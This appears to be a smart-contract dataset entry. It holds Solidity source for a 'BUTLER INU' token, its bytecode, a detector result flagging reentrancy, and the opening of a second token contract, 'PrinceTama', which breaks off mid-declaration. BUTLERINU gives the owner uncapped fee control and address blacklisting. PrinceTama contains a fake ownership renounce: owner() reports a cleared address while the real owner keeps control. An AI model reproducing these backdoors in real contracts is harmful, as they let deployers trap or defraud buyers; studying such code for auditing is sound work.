require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BUTLERINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BUTLER INU";//
string private constant _symbol = "BUTLERINU";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 6;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 6;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2a1277E9da479F09802D49e4aC8bDb73314FFF75);//
address payable private _marketingAddress = payable(0x2a1277E9da479F09802D49e4aC8bDb73314FFF75);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 20000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044157806395d89b411461045757806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103ed5780638da5cb5b146104035780638f70ccf71461042157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6a565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152600a8152694255544c455220494e5560b01b60208201525b60405161023a9190611c9c565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611aba565b610689565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611a79565b6106a0565b3480156102fd57600080fd5b506102c360195481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601654610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611a06565b610709565b34801561036f57600080fd5b506101fc61037e366004611c36565b610754565b34801561038f57600080fd5b506101fc61079c565b3480156103a457600080fd5b506102c36103b3366004611a06565b6107e7565b3480156103c457600080fd5b506101fc610809565b3480156103d957600080fd5b506101fc6103e8366004611c51565b61087d565b3480156103f957600080fd5b506102c360175481565b34801561040f57600080fd5b506000546001600160a01b0316610293565b34801561042d57600080fd5b506101fc61043c366004611c36565b6108ac565b34801561044d57600080fd5b506102c360185481565b34801561046357600080fd5b506040805180820190915260098152684255544c4552494e5560b81b602082015261022d565b34801561049557600080fd5b506101fc6104a4366004611c51565b6108f8565b3480156104b557600080fd5b506101fc6104c4366004611c6a565b610927565b3480156104d557600080fd5b506102636104e4366004611aba565b610965565b3480156104f557600080fd5b50610263610504366004611a06565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610972565b34801561053a57600080fd5b506101fc610549366004611ae6565b6109c6565b34801561055a57600080fd5b506102c360085481565b34801561057057600080fd5b506102c361057f366004611a40565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611c51565b610a67565b3480156105d657600080fd5b506101fc6105e5366004611a06565b610a96565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cf1565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611e38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e07565b915050610620565b5050565b6000610696338484610b80565b5060015b92915050565b60006106ad848484610ca4565b6106ff84336106fa85604051806060016040528060288152602001611e7a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611262565b610b80565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e48161129c565b50565b6001600160a01b03811660009081526002602052604081205461069a90611321565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611cf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611cf1565b601755565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161061490611cf1565b601955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161061490611cf1565b600993909355600b91909155600a55600c55565b6000610696338484610ca4565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107e7565b90506107e4816113a5565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161061490611cf1565b60005b82811015610a61578160056000868685818110610a1257610a12611e38565b9050602002016020810190610a279190611a06565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611e07565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161061490611cf1565b601855565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b038116610b255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610df857506000546001600160a01b03838116911614155b1561115b57601654600160a01b900460ff16610e91576000546001600160a01b03848116911614610e915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610ee35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2557506001600160a01b03821660009081526011602052604090205460ff16155b610f7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b600854610f8b906002611d97565b4311158015610fa757506016546001600160a01b038481169116145b8015610fc157506015546001600160a01b03838116911614155b8015610fd657506001600160a01b0382163014155b15610fff576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110845760185481611021846107e7565b61102b9190611d97565b106110845760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061108f306107e7565b6019546017549192508210159082106110a85760175491505b8080156110bf5750601654600160a81b900460ff16155b80156110d957506016546001600160a01b03868116911614155b80156110ee5750601654600160b01b900460ff165b801561111357506001600160a01b03851660009081526005602052604090205460ff16155b801561113857506001600160a01b03841660009081526005602052604090205460ff16155b1561115857611146826113a5565b478015611156576111564761129c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119d57506001600160a01b03831660009081526005602052604090205460ff165b806111cf57506016546001600160a01b038581169116148015906111cf57506016546001600160a01b03848116911614155b156111dc57506000611256565b6016546001600160a01b03858116911614801561120757506015546001600160a01b03848116911614155b1561121957600954600d55600a54600e555b6016546001600160a01b03848116911614801561124457506015546001600160a01b03858116911614155b1561125657600b54600d55600c54600e555b610a618484848461152e565b600081848411156112865760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611df0565b95945050505050565b6013546001600160a01b03166108fc6112b683600261155c565b6040518115909202916000818181858888f193505050501580156112de573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f983600261155c565b6040518115909202916000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156113885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b600061139261159e565b905061139e838261155c565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ed576113ed611e38565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114799190611a23565b8160018151811061148c5761148c611e38565b6001600160a01b0392831660209182029290920101526015546114b29130911684610b80565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb908590600090869030904290600401611d26565b600060405180830381600087803b15801561150557600080fd5b505af1158015611519573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153b5761153b6115c1565b6115468484846115ef565b80610a6157610a61600f54600d55601054600e55565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e6565b60008060006115ab611714565b90925090506115ba828261155c565b9250505090565b600d541580156115d15750600e54155b156115d857565b600d8054600f55600e805460105560009182905555565b60008060008060008061160187611756565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163390876117b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166290866117f5565b6001600160a01b03891660009081526002602052604090205561168481611854565b61168e848361189e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d391815260200190565b60405180910390a3505050505050505050565b600081836117075760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611daf565b6006546000908190683635c9adc5dea00000611730828261155c565b82101561174d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117738a600d54600e546118c2565b925092509250600061178361159e565b905060008060006117968e878787611917565b919e509c509a509598509396509194505050505091939550919395565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611262565b6000806118028385611d97565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061185e61159e565b9050600061186c8383611967565b3060009081526002602052604090205490915061188990826117f5565b30600090815260026020526040902055505050565b6006546118ab90836117b3565b6006556007546118bb90826117f5565b6007555050565b60008080806118dc60646118d68989611967565b9061155c565b905060006118ef60646118d68a89611967565b90506000611907826119018b866117b3565b906117b3565b9992985090965090945050505050565b60008080806119268886611967565b905060006119348887611967565b905060006119428888611967565b905060006119548261190186866117b3565b939b939a50919850919650505050505050565b6000826119765750600061069a565b60006119828385611dd1565b90508261198f8583611daf565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b80356119f181611e64565b919050565b803580151581146119f157600080fd5b600060208284031215611a1857600080fd5b813561139e81611e64565b600060208284031215611a3557600080fd5b815161139e81611e64565b60008060408385031215611a5357600080fd5b8235611a5e81611e64565b91506020830135611a6e81611e64565b809150509250929050565b600080600060608486031215611a8e57600080fd5b8335611a9981611e64565b92506020840135611aa981611e64565b929592945050506040919091013590565b60008060408385031215611acd57600080fd5b8235611ad881611e64565b946020939093013593505050565b600080600060408486031215611afb57600080fd5b833567ffffffffffffffff80821115611b1357600080fd5b818601915086601f830112611b2757600080fd5b813581811115611b3657600080fd5b8760208260051b8501011115611b4b57600080fd5b602092830195509350611b6191860190506119f6565b90509250925092565b60006020808385031215611b7d57600080fd5b823567ffffffffffffffff80821115611b9557600080fd5b818501915085601f830112611ba957600080fd5b813581811115611bbb57611bbb611e4e565b8060051b604051601f19603f83011681018181108582111715611be057611be0611e4e565b604052828152858101935084860182860187018a1015611bff57600080fd5b600095505b83861015611c2957611c15816119e6565b855260019590950194938601938601611c04565b5098975050505050505050565b600060208284031215611c4857600080fd5b61139e826119f6565b600060208284031215611c6357600080fd5b5035919050565b60008060008060808587031215611c8057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc957858101830151858201604001528201611cad565b81811115611cdb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611daa57611daa611e22565b500190565b600082611dcc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611deb57611deb611e22565b500290565b600082821015611e0257611e02611e22565b500390565b6000600019821415611e1b57611e1b611e22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220106fe29411f490295d0df654e2576ffa857d76e52ffcdea950ca850a1c9233f864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,304 |
0x9fa7c90da85dc2d5e87210e62713ae2e57c7604a | /*
_______ _ _________
|_ __ \ (_) | _ _ |
| |__) |_ .--. __ _ .--. .---. .---.|_/ | | \_|,--. _ .--..--. ,--.
| ___/[ `/'`\][ | [ `.-. | / /'`\]/ /__\\ | | `'_\ : [ `.-. .-. | `'_\ :
_| |_ | | | | | | | | | \__. | \__., _| |_ // | |, | | | | | | // | |,
|_____| [___] [___][___||__]'.___.' '.__.' |_____| \'-;__/[___||__||__]\'-;__/
Twitter: https://twitter.com/PrinceTamaETH
Telegram: https://t.me/PrinceTamaETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _previousOwner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_previousOwner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PrinceTama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
